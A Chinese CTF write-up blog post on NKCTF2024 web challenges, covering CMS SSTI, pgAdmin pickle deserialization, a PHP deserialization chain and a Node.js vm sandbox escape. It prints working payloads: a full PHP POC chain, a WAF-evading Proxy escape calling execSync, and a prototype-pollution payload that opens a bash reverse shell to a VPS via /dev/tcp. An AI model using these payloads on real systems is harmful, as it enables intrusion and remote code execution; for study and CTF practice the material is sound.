NKCTF2024

NKCTF2024

前言

我当年看别人NKCTF2023的WP时就觉得这比赛题目难度很大(对当时的我来说

现在NKCTF2024来了肯定要打的,虽然也有阿里云CTF,但是他真的难度太大了,没有一点下手空间

周六晚上开始看,md战绩惨淡

你有见过思路将近全通,但是题目一个做不出来吗

My_first_CMS

sb题,弱口令 弱不了一点,啥字典都没有(虽然看着这么多人解出来了

admin:Admin123

进入后台就好了

capture0x/CMSMadeSimple2: CMS Made Simple Version: 2.2.19 - SSTI (github.com)

发现个CVE能够SSTI

Layout > Design Manager > Breadcrumbs

编辑文章,插入ssti的payload即可: {7*7}, {$smarty.version}, {{7*7}}

没试过,应该行

….好吧,不行,有security setting,无法使用system等函数

那这么说还真不一定做的出来

预期解是在 Extensions > User Defined Tags 进行RCE

image-20240325222513420

attack_tacooooo

好啦,参考文章都找到了复现不出来

tacooooo@qq.com:tacooooo

密码走运测出来了

然后就根据参考文章复现,但是tm的不知道为什么不行

Shielder - pgAdmin (<=8.3) Path Traversal in Session Handling Leads to Unsafe Deserialization and Remote Code Execution (RCE)

参考文章大概的流程

vps上使用给出的脚本开启一个smb服务

然后使用给出的代码,生成pickle文件

需要注意的是题目是Linux端,登陆后上传对应的pickle文件,然后按照指示设置session即可

但是

image-20240325123130752

然后我就想会不会有nc,但我还是算了

尝试ls / > /dev/tcp/vps-ip/port去重定向,好像也不行

然后看WP,还tm真有nc,但是这个443看起来有特殊含义,难不成只有443才能连上吗

image-20240325122743257

反弹得到 shell 后使用 crontab -e 查看隐藏计划任务里的 flag

。。。不知道

感觉crontab应该会在suid中有出现,不然应该察觉不出来

文章复现不出来。。。。。。

用过就是熟悉

。。。。思路全通,但生成payload好像出了点问题

最近有句话:我比流言蜚语更早认识你

我比知道利用链更早认识存在的backdoor 。。。。。。

说一下我整个审计顺序吧(和预期的有点偏差

我没审过cms,所以刚开始不知道查关键字,就觉得重要的的文件名、文件内容大概看一遍,留个映像

然后找到

image-20240325124649048

image-20240325124702180

image-20240325124719469

就知道要用到反序列化链

然后因为首页是登录框,我就去sql文件中去找密码了(嘻嘻

找了很久,大部分都是经过加盐后的hash(因为没破解出来

image-20240325125128948

然后我就在搜password关键字的时候发现了

image-20240325125333327

显示为admin.member.edit的逻辑为修改密码,有明文

image-20240325125436936

成功登录

然后登陆后啥也没有,就在回收站有个新建文件.html

还原发现是个一句话木马

因为不是公共靶机,所以肯定是出题人留的,肯定有用 (所以说我最早认识的就是后门

然后没办法,继续看代码

我们就看看index.class.php就是首页登录的逻辑

image-20240325125721047

发现反序列化入口

并且发现 登录密码确实是加了盐的

然后看到注释你知道tp吗,我就去搜了thinkphp的漏洞

经过一段时间的查看并且配合上我之前粗略的审计

我发现前面的入口都一样,其他的只是换了位置

思路通了,利用链也好找,直接看看最终要调用的__call函数有什么能利用的

就两个

image-20240325130139441

image-20240325130203058

然后我就去构造第一个,但构造完,发现只是写了文件,用include也显示不出内容

我一怒之下(其实也思考了一段时间

直接用去包含后门,并且正好没有.,就不管提示了

。。。但是由于写的payload存在问题,所以没有做出来

给一下官方的吧

image-20240325131431276

image-20240325131740129

看了之后,我感觉我应该是这里出了问题

image-20240325131835352

这里我只声明了Debug,没有声明Testone,甚至没有继承Testone

namespace think{
	class Debug{
	}
}

应该是这的原因,其他都一样

image-20240325132118963

然后tm的查看文件竟然直接路由输入就行,woc了啊

诶,既然这样,那我的payload不一定有问题

不过既然被放在/var/www/html下,好像还真没毛病

image-20240325132257888

image-20240325132414176

提示有两处,

image-20240325132539806

image-20240325132545300

新建文件说过了,就是后门

然后给出他是咋解密码的,有点抽象了

image-20240325133302161

image-20240325133330781

image-20240325133344629

image-20240325133410446

image-20240325133422040

image-20240325133446987

用这个去包含即可

WOC,写到这里我看到wp中有处地方挺奇怪,问了下出题人,我意识到原来是这里错了

我的真正错误原因

image-20240325190940305

看到这里的二重数组,我下意识地使用$this->engine = [["name"=>"data/files/shell"]];去传值

但这是错误的

这里特殊的点是用的是__call方法,形参name指的是调用的不存在的方法的名字

而arguments为什么是array,是因为防止这个不存在的方法传入多个参数

测试

<?php
class A
{
	public function __call(string $name, array $arguments)
	{
		var_dump($name);
		var_dump($arguments);
    }
}
$b = "asd";
$engine = array("name"=>"shell");
$a = new A();
$a->Loginsubmit($engine);

string(11) "Loginsubmit"

array(1) {
  [0] =>
  array(1) {
    'name' =>
    string(5) "shell"
  }
}

一个参数,传进去本身就是0下标了

传两个参数才有1下标

$a->Loginsubmit($engine,$b);

string(11) "Loginsubmit"

array(2) {
  [0] =>
  array(1) {
    'name' =>
    string(5) "shell"
  }
  [1] =>
  string(3) "asd"
}

这还真不知道,询问出题人后才了解

poc

<?php

namespace think{

    class Config{

    }
    class View{
        protected $data;
        public $engine;
        public function __construct()
        {
            $this->data = ["Loginout"=>new Config()];
            $this->engine = array("time"=>"10086","name"=>"data/files/shell");
        }
    }
    class Collection{
        protected $items;
        public function __construct()
        {
            $this->items = new View();
        }

    }
}

namespace think\process\pipes{
    use think\Collection;
    class Windows
    {
        private $files;
        public function __construct()
        {
            $this->files = array(new Collection());
        }
    }
}
namespace {
    $a = new think\process\pipes\Windows();
    echo base64_encode((serialize($a)));
}

最后

无回显RCE,外带即可

image-20240325193548757

image-20240325230249087

全世界最简单的CTF

开头说思路将近AK,就是卡在这题

看源代码,发现/secret,访问拿到app.js源码


const express = require('express');
const bodyParser = require('body-parser');
const app = express();
const fs = require("fs");
const path = require('path');
const vm = require("vm");

app
.use(bodyParser.json())
.set('views', path.join(__dirname, 'views'))
.use(express.static(path.join(__dirname, '/public')))

app.get('/', function (req, res){
    res.sendFile(__dirname + '/public/home.html');
})


function waf(code) {
    let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g;
    if(code.match(pattern)){
        throw new Error("what can I say? hacker out!!");
    }
}

app.post('/', function (req, res){
        let code = req.body.code;
        let sandbox = Object.create(null);
        let context = vm.createContext(sandbox);
        try {
            waf(code)
            let result = vm.runInContext(code, context);
            console.log(result);
        } catch (e){
            console.log(e.message);
            require('./hack');
        }
})

app.get('/secret', function (req, res){
    if(process.__filename == null) {
        let content = fs.readFileSync(__filename, "utf-8");
        return res.send(content);
    } else {
        let content = fs.readFileSync(process.__filename, "utf-8");
        return res.send(content);
    }
})


app.listen(3000, ()=>{
    console.log("listen on 3000");
})

vm沙盒,并且作了一个waf

很多大佬使用replace进行绕过

LaoGong的WP

throw new Proxy({}, {
        get: function(){
            const cc = arguments.callee.caller;
            const p = (cc.constructor.constructor('return procBess'.replace('B','')))();
            const obj = p.mainModule.require('child_procBess'.replace('B',''));
            const ex = Object.getOwnPropertyDescriptor(obj, 'exeicSync'.replace('i',''));
            return ex.value('whoami').toString();
        }
    })

官方WP

/secret中对process.__filename有一个判断,正常情况下process是没有__filename属性的

猜测可以原型链污染

然后就能任意文件读取

源码看到require('.hack'),我们污染为/app/hack.js

内容为console.log('shell.js')

继续读取shell.js

console.log('shell');
const p = require('child_process');
p.execSync(process.env.command);

process.env.command也可以通过原型链污染控制

但问题是怎么去include这个shell.js呢

这里require可以通过原型链污染进行任意文件包含

https://hujiekang.top/posts/nodejs-require-rce/

throw new Proxy({},{
    get: function () {
        const cc = arguments.callee.caller;
        cc.__proto__.__proto__.data = {"name":"./hack","exports":"./shell.js"};
        cc.__proto__.__proto__.path = "/app";
        cc.__proto__.__proto__.command = "bash -c 'bash -i >& /dev/tcp/vps/port 0>&1'";
    }
})

。。。好吧,确实不会

finally

很烦,这也能爆零,可能动手能力太差了,以及实现的细节上出了很多问题

写的文章可能出现前后矛盾的情况,那也是因为在不断地反思错误,像提到的__call那个坑点,如果我不写这篇文章的话,我可能就认为我思路对了就不复现了,就发现不了这一点了


NKCTF2024
https://zer0peach.github.io/2024/03/25/NKCTF2024/
作者
Zer0peach
发布于
2024年3月25日
许可协议